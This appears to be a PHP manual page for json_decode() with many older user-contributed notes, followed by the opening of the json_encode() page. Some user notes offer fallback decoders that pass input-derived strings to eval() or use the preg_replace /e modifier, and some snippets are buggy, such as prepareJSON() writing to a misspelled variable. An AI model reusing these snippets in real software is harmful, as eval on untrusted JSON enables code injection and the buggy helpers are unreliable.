Returns the value encoded in json in appropriate PHP type. Values true, false and null (case-insensitive) are returned as TRUE, FALSE and NULL respectively. NULL is returned if the json cannot be decoded or if the encoded data is deeper than the recursion limit.

Examples

Example #1 json_decode() examples

<?php
$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';

var_dump(json_decode($json));
var_dump(json_decode($json, true));

?>

The above example will output:

object(stdClass)#1 (5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

array(5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

Example #2 Accessing invalid object properties

Accessing elements within an object that contain characters not permitted under PHP's naming convention (e.g. the hyphen) can be accomplished by encapsulating the element name within braces and the apostrophe.

<?php

$json = '{"foo-bar": 12345}';

$obj = json_decode($json);
print $obj->{'foo-bar'}; // 12345

?>

Example #3 common mistakes using json_decode()

<?php

// the following strings are valid JavaScript but not valid JSON

// the name and value must be enclosed in double quotes
// single quotes are not valid
$bad_json = "{ 'bar': 'baz' }";
json_decode($bad_json); // null

// the name must be enclosed in double quotes
$bad_json = '{ bar: "baz" }';
json_decode($bad_json); // null

// trailing commas are not allowed
$bad_json = '{ bar: "baz", }';
json_decode($bad_json); // null

?>

Example #4 depth errors

<?php
// Encode the data.
$json = json_encode(
    array(
        1 => array(
            'English' => array(
                'One',
                'January'
            ),
            'French' => array(
                'Une',
                'Janvier'
            )
        )
    )
);

// Define the errors.
$constants = get_defined_constants(true);
$json_errors = array();
foreach ($constants["json"] as $name => $value) {
    if (!strncmp($name, "JSON_ERROR_", 11)) {
        $json_errors[$value] = $name;
    }
}

// Show the errors for different depths.
foreach (range(4, 3, -1) as $depth) {
    var_dump(json_decode($json, true, $depth));
    echo 'Last error: ', $json_errors[json_last_error()], PHP_EOL, PHP_EOL;
}
?>

The above example will output:

array(1) {
  [1]=>
  array(2) {
    ["English"]=>
    array(2) {
      [0]=>
      string(3) "One"
      [1]=>
      string(7) "January"
    }
    ["French"]=>
    array(2) {
      [0]=>
      string(3) "Une"
      [1]=>
      string(7) "Janvier"
    }
  }
}
Last error: JSON_ERROR_NONE

NULL
Last error: JSON_ERROR_DEPTH

Example #5 json_decode() of large integers

<?php
$json = '12345678901234567890';

var_dump(json_decode($json));
var_dump(json_decode($json, false, 512, JSON_BIGINT_AS_STRING));

?>

The above example will output:

float(1.2345678901235E+19)
string(20) "12345678901234567890"

Notes

Note:

The JSON spec is not JavaScript, but a subset of JavaScript.

Note:

In the event of a failure to decode, json_last_error() can be used to determine the exact nature of the error.

Changelog

Version | Description
5.4.0 | The options parameter was added.
5.3.0 | Added the optional depth. The default recursion depth was increased from 128 to 512
5.2.3 | The nesting limit was increased from 20 to 128
5.2.1 | Added support for JSON decoding of basic types.

See Also

  • json_encode() - Returns the JSON representation of a value
  • json_last_error() - Returns the last error occurred

User Contributed Notes

juanloman at hilfetech dot com 07-Jan-2012 12:38
I found that even though json_decode() takes UTF-8 strings, it won't parse if a Byte-Order-Mark (BOM) is present.

Also, if you allow your users to edit JSON files, you end up with a mix of ASCII, ISO-8859-1, UTF-8 with and without BOM.

This function prepares a string for the JSON parser by converting it to UTF-8 and removing the BOM if present.

<?php
function prepareJSON($input) {

    //This will convert ASCII/ISO-8859-1 to UTF-8.
    //Be careful with the third parameter (encoding detect list), because
    //if set wrong, some input encodings will get garbled (including UTF-8!)
    $imput = mb_convert_encoding($input, 'UTF-8', 'ASCII,UTF-8,ISO-8859-1');

    //Remove UTF-8 BOM if present, json_decode() does not like it.
    if(substr($input, 0, 3) == pack("CCC", 0xEF, 0xBB, 0xBF)) $input = substr($input, 3);

    return $input;
}

//Usage:
$myFile = file_get_contents('somefile.json');
$myDataArr = json_decode(prepareJSON($myFile), true);

?>
sjungwirth at gmail dot com 01-Dec-2011 04:45
My way to replace single quotes around values

<?php
$json = <<<STR
{"key":'val',"key's":'O\\'Brian\'s', "key\"quotes\"" :  'Jimmy "the rock" Michael\'s'}
STR;
$json = preg_replace('/:\s*\'(([^\']|\\\\\')*)\'\s*([},])/e', "':'.json_encode(stripslashes('$1')).'$3'", $json);
print_r(json_decode($json, TRUE));
/**
 * Array
 * (
 *     [key] => val
 *     [key's] => O'Brian's
 *     [key"quotes"] => Jimmy "the rock" Michael's
 * )
 */
?>
combine this with previous posters way to enclose keys in double quotes and you have a loose json_decode function that can handle javascript object syntax: {key:'', ...}
rajeevroy1525 at gmail dot com 15-Nov-2011 05:38
To test the a string, is json encoded or not. we can use the following function

<?php

function IsJsonString($str){
    try{
        $jObject = json_decode($str);
    }catch(Exception $e){
        return false;
    }
    return (is_object($jObject)) ? true : false;
}
?>

Usage  :

<?php

$jArray = array("vars"=>array("a"=>"1", "b"=>"2"));

$jString = json_encode($jArray);
        if (IsJsonString($jString))
        {
        echo "Its Json";
        }
        else{
        echo "It isn't Json";
        }
?>
The above code will return "Its Json" and in case wrong json string it will return "Its isn't Json".
alexvonweiss at googlemail dot com 23-Sep-2011 08:49
Consider that JSON can differ between int and string. So

<?php
var_dump(json_decode('{"foo": 12}'));
// array(1) { ["foo"]=> int(12) }

var_dump(json_decode('{"foo": "12"}'));
// array(1) { ["foo"]=> string(12) }
?>

Numbers that cannot be handled by integer seems to become float casted. This can be a problem if you transfer big numbers like facebook ids over JSON. Either you avoid numbers by cast everything to string before JSON.stringify or you have to use number_format if the value bacome a float value.

<?php
// test
$x = json_decode('{"foo": 123456789012345}');
echo sprintf('%1$f', $x->foo).PHP_EOL;
echo sprintf('%1$u', $x->foo).PHP_EOL;
echo sprintf('%1$s', $x->foo).PHP_EOL;
echo strval($x->foo).PHP_EOL;
echo (string) $x->foo.PHP_EOL;
echo number_format($x->foo, 0, '', '').PHP_EOL;

// output
123456789012345.000000  // printf %f
2249056121              // printf %u
1.2345678901234E+14     // printf %s
1.2345678901234E+14     // strval()
1.2345678901234E+14     // cast (string)
2249056121              // cast (int)
123456789012345         // number_format()
?>
Dragos.U 05-Aug-2011 06:52
Hmm, using eval without proper escaping of the input value  .. will not get you anything good ;)

Here is my JSON decode function, it does not decode to PHP object/array but only to an array (can be easily changed anyway).

<?php
  function jsonDecode ($json)
  {
      $json = str_replace(array("\\\\", "\\\""), array("&#92;", "&#34;"), $json);
      $parts = preg_split("@(\"[^\"]*\")|([\[\]\{\},:])|\s@is", $json, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
      foreach ($parts as $index => $part)
      {
          if (strlen($part) == 1)
          {
              switch ($part)
              {
                  case "[":
                  case "{":
                      $parts[$index] = "array(";
                      break;
                  case "]":
                  case "}":
                      $parts[$index] = ")";
                      break;
                  case ":":
                    $parts[$index] = "=>";
                    break;
                  case ",":
                    break;
                  default:
                      return null;
              }
          }
          else
          {
              if ((substr($part, 0, 1) != "\"") || (substr($part, -1, 1) != "\""))
              {
                  return null;
              }
          }
      }
      $json = str_replace(array("&#92;", "&#34;", "$"), array("\\\\", "\\\"", "\\$"), implode("", $parts));
      return eval("return $json;");
  }
?>

How it works:

it searches for the "..." (that can be a key or a value) so we need to make sure we do not take into account something like ...\"... that is not the end of the key/value but escaped value for the doublequote. That's why we first replace \\ (escaped backslash) and then we can look for a ...\"... and be sure it's not a ...\\" (the end of the key/value).

Next we split the string into chunks, any  other characters outside of the "..." only need to be []{},: (and spaces, but those we can throw away).

Next we do a little bit of checking on the data, be sure we have valid JSON and replace some of the characters on the way (so we can 'eval' as PHP code later).

Then we replace back the initial changed characters and escape $ (!!!) because we will use 'eval' with values of the array (keys and values) in double quotes.

(http://php.net/manual/en/language.types.string.php)

The function will return NULL for invalid JSON.

;)
evengard at trioptimum dot com 13-Apr-2011 08:58
There is a problem when passing to json_decode a string with the "\" symbol. It seems to identify it as an escape character and trying to follow it. So sometimes it leads to failed parsing.

It seems that just replacing it with "\\" helps.
<?php
print_r(json_decode(str_replace('\\', '\\\\', '{"name":"/\"}')));
?>
where /\ is the string which doesn't worked.
contacto at hardcode dot com dot ar 25-Nov-2010 01:53
If you have a json encoded array that contains non UTF8 chars, this function will do the trick:

<?php
$array = json_decode(safeJSON_chars($iso_8859_1_data));

function safeJSON_chars($data) {

    $aux = str_split($data);

    foreach($aux as $a) {

        $a1 = urlencode($a);

        $aa = explode("%", $a1);

        foreach($aa as $v) {

            if($v!="") {

                if(hexdec($v)>127) {

                $data = str_replace($a,"&#".hexdec($v).";",$data);

                }

            }

        }

    }

    return $data;

}
?>

Of course it works if you want to show this inside a HTML page, so entities will be converted.
Hope this helps you as much as it helped me.
Anonymous 03-Nov-2010 01:22
to deal with escaped dbl-quotes this is required:
if ($json[$i] == '"' && $json[($i-1)]!="\\")    $comment = !$comment;
revision is as follows:

<?php
if ( !function_exists('json_decode') ){
function json_decode($json)
{
    $comment = false;
    $out = '$x=';

    for ($i=0; $i<strlen($json); $i++)
    {
        if (!$comment)
        {
            if (($json[$i] == '{') || ($json[$i] == '['))       $out .= ' array(';
            else if (($json[$i] == '}') || ($json[$i] == ']'))   $out .= ')';
            else if ($json[$i] == ':')    $out .= '=>';
            else                         $out .= $json[$i];
        }
        else $out .= $json[$i];
        if ($json[$i] == '"' && $json[($i-1)]!="\\")    $comment = !$comment;
    }
    eval($out . ';');
    return $x;
}
}
?>
Jestep 08-Sep-2010 01:26
I had a JSON string with multiple commas in it without any quotes, which was causing the json_decode to return false.

Once the double quotes were added, everything worked out fine.

A quick:

while(strpos($contents, ',,') !== false) {
    $contents = str_replace(',,', ',"",', $contents);
}

solved the problem, and the function worked correctly. If you have tried everything and are still a FALSE return, I suggest trying the JSON validator in another post.
T erkif 10-Aug-2010 03:03
it seems, that some of the people are not aware, that if you are using json_decode to decode a string it HAS to be a propper json string:

<?php
var_dump(json_encode('Hello'));

var_dump(json_decode('Hello'));  // wrong
var_dump(json_decode("Hello")); // wrong
var_dump(json_decode('"Hello"')); // correct
var_dump(json_decode("'Hello'")); // wrong

result:

string(7) ""Hello""
NULL
NULL
string(5) "Hello"
NULL
zgardner at allofe dot com 19-Jul-2010 10:23
There seems to be a difference in the way json_decode works between 5.2.9 and 5.2.6. Trying to run json_decode on a URL in 5.2.6 will return the URL, but in 5.2.9 it will return NULL.

5.2.6
var_dump(json_decode("http://www.php.net")); // Displays string(18) "http://www.php.net"

5.2.9
var_dump(json_decode("http://www.php.net")); // Displays NULL

The servers I tested it on both had json version 1.2.1.
steveo at crecon dot com 23-Jun-2010 11:11
I was getting an array like:
  Array
  (
      [COLUMNS] => Array
          (
              [0] => ID
              [1] => FIRST
              [2] => LAST
           )
      [DATA] => Array
          (
              [0] => Array
                    (
                          [0] => 10
                          [1] => Mary
                          [2] => Smith
                     )
               [1] => Array
                     (
                          [0] => 11
                          [1] => Joe
                          [2] => Black
                     )
               [2] => Array
                     (
                          [0] => 12
                          [1] => Tom
                          [2] => Green
                     )
               [3] => Array
       . . .

With lots more columns and data from a json_decode call to a Cold Fusion .cfc which returned a database query. This is easy to turn into a nice associative array with the following code:

<?php
  foreach ($results['DATA'] as $rowcount => $row){
     foreach ($row as $colcount => $col){
       $lines[$rowcount][$results['COLUMNS'][$colcount]]=$col;
     }
  }
?>

to get:
Array
(
  [0] => Array
       (
          [ID]      => 10
          [FIRST] => Mary
          [LAST]  => Smith
        )
  [1] => Array
       (
         [ID]       => 11
         [FIRST]  => Joe
         [LAST]   => Black
       )
. . . etc.

I hope this helps someone.
majca J 05-Jun-2010 05:42
Noted in a comment below is that this function will return NULL when given a simple string.

This is new behavior - see the result in PHP 5.2.4 :
php > var_dump(json_decode('this is a simple string'));
string(23) "this is a simple string"

in PHP 5.3.2 :
php > var_dump(json_decode('this is a simple string'));
NULL

I had several functions that relied on checking the value of a purported JSON string if it didn't decode into an object/array. If you do too, be sure to be aware of this when upgrading to PHP 5.3.
phpuser 20-May-2010 03:52
If you keep having problems, try removing "problematic" characters from the json string:

$obj = json_decode(preg_replace('/[\x00-\x1F\x80-\xFF]/', '', $json_string);
NemoStein 19-May-2010 10:43
Pass you URL encoded ( urlencode($json) ), then decode it ( urldecode($_GET['json']) )...

Should do the trick...
Mitchell Simoens 05-May-2010 04:27
In my case, I was passing simple JSON in the URL...

eg myfile.php?test=["one", "two", "three"]

but I kept getting NULL no matter what I tried. I did a simple echo of $_REQUEST["test"] and noticed that the browser added the "\" to the double-quotes. I had to prepare the data first then do the decode:

<?php
$data = str_replace("\\", "", $_REQUEST["test"]);
$results = json_decode($data);
?>

This produced what was expected
php dot net at spam dot lublink dot net 02-Apr-2010 06:25
If the JSON is coming from javascript watch out for undefined variables :

Javascript ( using dojo ) returns this to me sometimes :

{ "index" : [undefined] }

When I pass this to json_decode, it returns null. Make sure that you check all your javascript variables properly because this can break whatever it is you are doing.
CraigHarris at gmail dot com 19-Feb-2010 12:55
Be aware that json_decode() will return null if you pass it a JSON encoded string.

<?php echo json_encode('Some String'); ?>
"Some String"
<?php echo json_decode(json_encode('Some String')); ?>
NULL
<?php // expected output ?>
Some String
php at hm2k.org 11-Feb-2010 04:45
If var_dump produces NULL, you may be experiencing JSONP aka JSON with padding, here's a quick fix...

<?php

//remove padding
$body=preg_replace('/.+?({.+}).+/','$1',$body);

// now, process the JSON string
$result = json_decode($body);

var_dump($result);
?>
nix 29-Jan-2010 03:39
Be aware, when decoding JSON strings, where an empty string is a key, this library replaces the empty string with "_empty_".

So the following code gives an unexpected result:
<?php
var_dump(json_decode('{"":"arbitrary"}'));
?>

The result is as follows:
object(stdClass)#1 (1) {
  ["_empty_"]=>
  string(6) "arbitrary"
}

Any subsequent key named "_empty_" (or "" [the empty string] again) will overwrite the value.
yohan dot widyakencana at kreators dot com 29-Jan-2010 12:37
When in php 5.2.3, I found that json_decode 4000000000 float value into integer value resulting int(-294967296) from var_dump function

When in php 5.3.x, php correctly returning float(4000000000)

thank you for people creating & upgrading php

Yohan W.
colin.mollenhour.com 21-Jan-2010 10:51
For those of you wanting json_decode to be a little more lenient (more like Javascript), here is a wrapper:

<?php
function json_decode_nice($json, $assoc = FALSE){
    $json = str_replace(array("\n","\r"),"",$json);
    $json = preg_replace('/([{,])(\s*)([^"]+?)\s*:/','$1"$3":',$json);
    return json_decode($json,$assoc);
}
?>

Some examples of accepted syntax:

<?php
$json = '{a:{b:"c",d:["e","f",0]}}';
$json =
'{
   a : {
      b : "c",
      "d.e.f": "g"
   }
}';
?>

If your content needs to have newlines, do this:

<?php
$string = "This
Text
Has
Newlines";
$json = '{withnewlines:'.json_encode($string).'}';
?>

Note: This does not fix trailing commas or single quotes.
wesgeek at gmx dot com 24-Dec-2009 10:22
If you are having issues with magic_quotes_gpc being turned on and can't disable it use json_decode(stripslashes($json)).
benny at zami-nospam-nga dot com 16-Oct-2009 02:35
I pulled my hair off for hours trying to get rid of strange backslashes in my incoming JSON-data in POST-pool, making it impossible to decode the incoming JSON-data.

For those of you facing the same problem:

just make sure you disable 'magic_quotes_gpc' in your php.ini and the incoming data will not be pseudo-escaped anymore. Now your incoming JSON-data should just be decoded fine.

Maybe this will help.
simonKenyonShepard at trisis dot co dot uk 14-Oct-2009 11:23
BEWARE!

json_decode will NOT WORK if there ARE LINE BREAKS in the JSON!

Use str_replace to get rid of them.
confusioner at msn dot com 17-Jul-2009 05:33
if you can not decode unicode characters with json_decode, use addslashes() while using json_encode. The problem comes from unicode chars starting with \ such as \u30d7

$json_data = addslashes(json_encode($unicode_string_or_array));
Nick Telford 25-Jun-2009 04:06
In PHP <= 5.1.6 trying to decode an integer value that's > PHP_INT_MAX will result in an intger of PHP_INT_MAX.

In PHP 5.2+ decoding an integer > PHP_INT_MAX will cause a conversion to a float.

Neither behaviour is perfect, capping at PHP_INT_MAX is marginally worse, but the float conversion loses precision.

If you expect to deal with large numbers at all, let alone in JSON, ensure you're using a 64-bit system.
premiersullivan at gmail dot com 21-Jun-2009 04:14
This function will remove trailing commas and encode in utf8, which might solve many people's problems. Someone might want to expand it to also change single quotes to double quotes, and fix other kinds of json breakage.

<?php
    function mjson_decode($json)
    {
        return json_decode(removeTrailingCommas(utf8_encode($json)));
    }

    function removeTrailingCommas($json)
    {
        $json=preg_replace('/,\s*([\]}])/m', '$1', $json);
        return $json;
    }
?>
www at walidator dot info 30-May-2009 07:16
Here's a small function to decode JSON. It might not work on all data, but it works fine on something like this:

$json_data = '{"response": {
    "Text":"Hello there"
 },
 "Details": null, "Status": 200}
 ';

===== CUt HERE :) =====

<?php
if ( !function_exists('json_decode') ){
function json_decode($json)
{
    // Author: walidator.info 2009
    $comment = false;
    $out = '$x=';

    for ($i=0; $i<strlen($json); $i++)
    {
        if (!$comment)
        {
            if ($json[$i] == '{')        $out .= ' array(';
            else if ($json[$i] == '}')    $out .= ')';
            else if ($json[$i] == ':')    $out .= '=>';
            else                         $out .= $json[$i];
        }
        else $out .= $json[$i];
        if ($json[$i] == '"')    $comment = !$comment;
    }
    eval($out . ';');
    return $x;
}
}
?>
Gravis 09-May-2009 07:38
with two lines you can convert your string from JavaScript toSource() (see http://www.w3schools.com/jsref/jsref_toSource.asp) output format to JSON accepted format.  this works with subobjects too!
note: toSource() is part of JavaScript 1.3 but only implemented in Mozilla based javascript engines (not Opera/IE/Safari/Chrome).

<?php
  $str = '({strvar:"string", number:40, boolvar:true, subobject:{substrvar:"sub string", subsubobj:{deep:"deeply nested"}, strnum:"56"}, false_val:false, false_str:"false"})'; // example javascript object toSource() output

  $str = substr($str, 1, strlen($str) - 2); // remove outer ( and )
  $str = preg_replace("/([a-zA-Z0-9_]+?):/" , "\"$1\":", $str); // fix variable names

  $output = json_decode($str, true);
  var_dump($output);
?>

var_dump output:
array(6) {
  ["strvar"]=>
  string(6) "string"
  ["number"]=>
  int(40)
  ["boolvar"]=>
  bool(true)
  ["subobject"]=>
  array(3) {
    ["substrvar"]=>
    string(10) "sub string"
    ["subsubobj"]=>
    array(1) {
      ["deep"]=>
      string(13) "deeply nested"
    }
    ["strnum"]=>
    string(2) "56"
  }
  ["false_val"]=>
  bool(false)
  ["false_str"]=>
  string(5) "false"
}

hope this saves someone some time.
jan at hooda dot de 20-Dec-2008 08:20
This function will convert a "normal" json to an array.

<?php
   function json_code ($json) {

      //remove curly brackets to beware from regex errors

      $json = substr($json, strpos($json,'{')+1, strlen($json));
      $json = substr($json, 0, strrpos($json,'}'));
      $json = preg_replace('/(^|,)([\\s\\t]*)([^:]*) (([\\s\\t]*)):(([\\s\\t]*))/s', '$1"$3"$4:', trim($json));

      return json_decode('{'.$json.'}', true);
   }

   $json_data = '{
      a: 1,
      b: 245,
      c with whitespaces: "test me",
      d: "function () { echo \"test\" }",
      e: 5.66
   }';

   $jarr = json_code($json_data);
?>
Aaron Kardell 13-Nov-2008 07:39
Make sure you pass in utf8 content, or json_decode may error out and just return a null value.  For a particular web service I was using, I had to do the following:

<?php
$contents = file_get_contents($url);
$contents = utf8_encode($contents);
$results = json_decode($contents);
?>

Hope this helps!
steven at acko dot net 07-Oct-2008 12:49
json_decode()'s handling of invalid JSON is very flaky, and it is very hard to reliably determine if the decoding succeeded or not. Observe the following examples, none of which contain valid JSON:

The following each returns NULL, as you might expect:

<?php
var_dump(json_decode('['));             // unmatched bracket
var_dump(json_decode('{'));             // unmatched brace
var_dump(json_decode('{}}'));           // unmatched brace
var_dump(json_decode('{error error}')); // invalid object key/value
notation
var_dump(json_decode('["\"]'));         // unclosed string
var_dump(json_decode('[" \x "]'));      // invalid escape code

Yet the following each returns the literal string you passed to it:

var_dump(json_decode(' [')); // unmatched bracket
var_dump(json_decode(' {')); // unmatched brace
var_dump(json_decode(' {}}')); // unmatched brace
var_dump(json_decode(' {error error}')); // invalid object key/value notation
var_dump(json_decode('"\"')); // unclosed string
var_dump(json_decode('" \x "')); // invalid escape code
?>

(this is on PHP 5.2.6)

Reported as a bug, but oddly enough, it was closed as not a bug.

[NOTE BY danbrown AT php DOT net: This was later re-evaluated and it was determined that an issue did in fact exist, and was patched by members of the Development Team.  See http://bugs.php.net/bug.php?id=45989 for details.]
jrevillini 26-Sep-2008 12:01
When decoding strings from the database, make sure the input was encoded with the correct charset when it was input to the database.

I was using a form to create records in the DB which had a content field that was valid JSON, but it included curly apostrophes.  If the page with the form did not have

<meta http-equiv="Content-Type" content="text/html;charset=utf-8">

in the head, then the data was sent to the database with the wrong encoding.  Then, when json_decode tried to convert the string to an object, it failed every time.
soapergem at gmail dot com 23-Aug-2008 11:59
There have been a couple of comments now alerting us to the fact that certain expressions that are valid JavaScript code are not permitted within json_decode. However, keep in mind that JSON is ***not*** JavaScript, but instead just a subset of JavaScript. As far as I can tell, this function is only allowing whatever is explicitly outlined in RFC 4627, the JSON spec.

For instance, ganswijk, the reason you can't use single quotes to enclose strings is because the spec makes no mention of allowing single quotes (and therefore they are not allowed). And the issue of adding an extra comma at the end of an array is likewise not technically permitted in strict JSON, even though it will work in JavaScript.

And xris, while the example you provided with an unenclosed string key within an object is valid JavaScript, JavaScript != JSON. If you read it closely, you'll see that the JSON spec clearly does not allow this. All JSON object keys must be enclosed in double-quotes.

Basically, if there's ever any question for what is permitted, just read the JSON spec: http://tools.ietf.org/html/rfc4627
bizarr3_2006 at yahoo dot com 06-Aug-2008 07:47
If json_decode() failes, returns null, or returns 1, you should check the data you are sending to decode...

Check this online JSON validator... It sure helped me a lot.

http://www.jsonlint.com/
ganswijk at xs4all dot nl 06-Jul-2008 07:42
It was quite hard to figure out the allowed Javascript formats. Some extra remarks:

json_decode() doesn't seem to allow single quotes:
<?php
print_r(json_decode('[0,{"a":"a","b":"b"},2,3]'));  //works
print_r(json_decode("[0,{'a':'a','b':'b'},2,3]"));  //doesn't work
?>

json_decode() doesn't allow an extra comma in a list of entries:
<?php
print_r(json_decode('[0,1 ]'));  //works
print_r(json_decode('[0,1,]'));  //doesn't work
?>

(I like to write a comma behind every entry when the entries are spread over several lines.)

json_decode() does allow linefeeds in the data!
?>
xris / a t/ basilicom.de 27-Jun-2008 08:48
Please note: in javascript, the following is a valid object:
<?php
   { bar: "baz" }
?>

While PHP needs double quotes:

<?php
  { "bar": "baz" }
?>
phpben 16-Apr-2008 12:18
Re requiring to escape the forward slash:

I think PHP 5.2.1 had that problem, as I remember it occurring here when I posted that comment; but now I'm on 5.2.5 it doesn't, so it has obviously been fixed. The JSON one gets from all the browsers escape the forward slashes anyway.
steve at weblite dot ca 24-Jan-2008 03:25
For JSON support in older versions of PHP you can use the Services_JSON class, available at http://pear.php.net/pepr/pepr-proposal-show.php?id=198

<?php
if ( !function_exists('json_decode') ){
    function json_decode($content, $assoc=false){
                require_once 'Services/JSON.php';
                if ( $assoc ){
                    $json = new Services_JSON(SERVICES_JSON_LOOSE_TYPE);
        } else {
                    $json = new Services_JSON;
                }
        return $json->decode($content);
    }
}

if ( !function_exists('json_encode') ){
    function json_encode($content){
                require_once 'Services/JSON.php';
                $json = new Services_JSON;

        return $json->encode($content);
    }
}
?>
yasarbayar at gmail dot com 26-Jul-2007 02:13
It took me a while to find the right JSON string format grabbed from mysql to be used in json_decode(). Here is what i came up with:

Bad(s) (return NULL):
{30:'13',31:'14',32:'15'}
{[30:'13',31:'14',32:'15']}
{["30":"13","31":"14","32":"15"]}

Good :
[{"30":"13","31":"14","32":"15"}]

returns:
array(1) { [0]=>  array(3) { [30]=>  string(2) "13" [31]=>  string(2) "14" [32]=>  string(2) "15" } }

hope this saves sometime..
nospam (AT) hjcms (DOT) de 22-Apr-2007 09:15
You can't transport Objects or serialize Classes, json_* replace it bei stdClass!
<?php

$dom = new DomDocument( '1.0', 'utf-8' );
$body = $dom->appendChild( $dom->createElement( "body" ) );
$body->appendChild( $dom->createElement( "forward", "Hallo" ) );

$JSON_STRING = json_encode(
   array(
      "aArray" => range( "a", "z" ),
      "bArray" => range( 1, 50 ),
      "cArray" => range( 1, 50, 5 ),
      "String" => "Value",
      "stdClass" => $dom,
      "XML" => $dom->saveXML()
   )
);

unset( $dom );

$Search = "XML";
$MyStdClass = json_decode( $JSON_STRING );
// var_dump( "<pre>" , $MyStdClass , "</pre>" );

try {

   throw new Exception( "$Search isn't a Instance of 'stdClass' Class by json_decode()." );

   if ( $MyStdClass->$Search instanceof $MyStdClass )
      var_dump( "<pre>instanceof:" , $MyStdClass->$Search , "</pre>" );

} catch( Exception $ErrorHandle ) {

   echo $ErrorHandle->getMessage();

   if ( property_exists( $MyStdClass, $Search ) ) {
      $dom = new DomDocument( "1.0", "utf-8" );
      $dom->loadXML( $MyStdClass->$Search );
      $body = $dom->getElementsByTagName( "body" )->item(0);
      $body->appendChild( $dom->createElement( "rewind", "Nice" ) );
      var_dump( htmlentities( $dom->saveXML(), ENT_QUOTES, 'utf-8' ) );
   }
}

?>
paul at sfdio dot com 20-Jan-2007 07:08
I've written a javascript function to get around this functions limitations and the limitations imposed by IE's lack of native support for json serialization. Rather than converting variables to a json formatted string to transfer them to the server this function converts any javascript variable to a string serialized for use as POST or GET data.

String js2php(Mixed);

js2php({foo:true, bar:false, baz: {a:1, b:2, c:[1, 2, 3]}}));

will return:

foo=true&bar=false&baz[a]=1&baz[b]=2&baz[c][0]=1&...etc

function js2php(obj,path,new_path) {
  if (typeof(path) == 'undefined') var path=[];
  if (typeof(new_path) != 'undefined') path.push(new_path);
  var post_str = [];
  if (typeof(obj) == 'array' || typeof(obj) == 'object') {
    for (var n in obj) {
      post_str.push(js2php(obj[n],path,n));
    }
  }
  else if (typeof(obj) != 'function') {
    var base = path.shift();
    post_str.push(base + (path.length > 0 ? '[' + path.join('][') + ']' : '') + '=' + encodeURI(obj));
    path.unshift(base);
  }
  path.pop();
  return post_str.join('&');
}
Adrian Ziemkowski 13-Dec-2006 11:52
Beware when decoding JSON from JavaScript.  Almost nobody uses quotes for object property names and none of the major browsers require it, but this function does!   {a:1} will decode as NULL, whereas the ugly {"a":1} will decode correctly.   Luckily the browsers accept the specification-style quotes as well.
giunta dot gaetano at sea-aeroportimilano dot it 04-Sep-2006 08:16
Take care that json_decode() returns UTF8 encoded strings, whereas PHP normally works with iso-8859-1 characters.

If you expect to receive json data comprising characters outside the ascii range, be sure to use utf8_decode to convert them:

$php_vlaues = utf8_decode(json_decode($somedata))
giunta dot gaetano at sea-aeroportimilano dot it 04-Sep-2006 03:20
Please note that this function does NOT convert back to PHP values all strings resulting from a call to json-encode.

Since the json spec says that "A JSON text is a serialized object or array", this function will return NULL when decoding any json string that does not represent either an object or an array.

To successfully encode + decode single php values such as strings, booleans, integers or floats, you will have to wrap them in an array before converting them.
JSON Functions
json_encode
JSON Functions


Returns the JSON representation of a value

json_decode
json_last_error
JSON Functions
PHP Manual

json_encode

(PHP 5 >= 5.2.0, PECL json >= 1.2.0)

json_encode — Returns the JSON representation of a value

Description

string json_encode ( mixed $value [, int $options = 0 ] )

Returns a string containing the JSON representation of value.

Parameters

value

The value being encoded. Can be any type except a resource.

This function only works with UTF-8 encoded data.

options

Bitmask consisting of JSON_HEX_QUOT, JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS, JSON_NUMERIC_CHECK, JSON_BIGINT_AS_STRING, JSON_PRETTY_PRINT, JSON_UNESCAPED_SLASHES, JSON_FORCE_OBJECT, JSON_UNESCAPED_UNICODE.

Return Values

Returns a JSON encoded string on success.

Changelog

Version | Description
5.4.0 | JSON_BIGINT_AS_STRING, JSON_PRETTY_PRINT, JSON_UNESCAPED_SLASHES, and JSON_UNESCAPED_UNICODE options were added.
5.3.3 | JSON_NUMERIC_CHECK option was added.
5.3.0 | The options parameter was added.

Examples

Example #1 A json_encode() example

<?php
$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5);

echo json_encode($arr);
?>

The above example will output:

{"a":1,"b":2,"c":3,"d":4,"e":5}

Example #2 A json_encode() example showing all the options in action

<?php
$a = array('<foo>',"'bar'",'"baz"','&blong&', "\xc3\xa9");

echo "Normal: ",  json_encode($a), "\n";
echo "Tags: ",    json_encode($a, JSON_HEX_TAG), "\n";
echo "Apos: ",    json_encode($a, JSON_HEX_APOS), "\n";
echo "Quot: ",    json_encode($a, JSON_HEX_QUOT), "\n";
echo "Amp: ",     json_encode($a, JSON_HEX_AMP), "\n";
echo "Unicode: ", json_encode($a, JSON_UNESCAPED_UNICODE), "\n";
echo "All: ",     json_encode($a, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP | JSON_UNESCAPED_UNICODE), "\n\n";

$b = array();

echo "Empty array output as array: ", json_encode($b), "\n";
echo "Empty array output as object: ", json_encode($b, JSON_FORCE_OBJECT), "\n\n";

$c = array(array(1,2,3));

echo "Non-associative array output as array: ", json_encode($c), "\n";
echo "Non-associative array output as object: ", json_encode($c, JSON_FORCE_OBJECT), "\n\n";

$d = array('foo' => 'bar', 'baz' => 'long');

echo "Associative array always output as object: ", json_encode($d), "\n";
echo "Associative array always output as object: ", json_encode($d, JSON_FORCE_OBJECT), "\n\n";
?>

The above example will output:

Normal: ["<foo>","'bar'","\"baz\"","&blong&","\u00e9"]
Tags: ["\u003Cfoo\u003E","'bar'","\"baz\"","&blong&","\u00e9"]
Apos: ["<foo>","\u0027bar\u0027","\"baz\"","&blong&","\u00e9"]
Quot: ["<foo>","'bar'","\u0022baz\u0022","&blong&","\u00e9"]
Amp: ["<foo>","'bar'","\"baz\"","\u0026blong\u0026","\u00e9"]
Unicode: ["<foo>","'bar'","\"baz\"","&blong&","é"]
All: ["\u003Cfoo\u003E","\u0027bar\u0027","\u0022baz\u0022","\u0026blong\u0026","é"]

Empty array output as array: []
Empty array output as object: {}

Non-associative array output as array: [[1,2,3]]
Non-associative array output as object: {"0":{"0":1,"1":2,"2":3}}

Associative array always output as object: {"foo":"bar","baz":"long"}
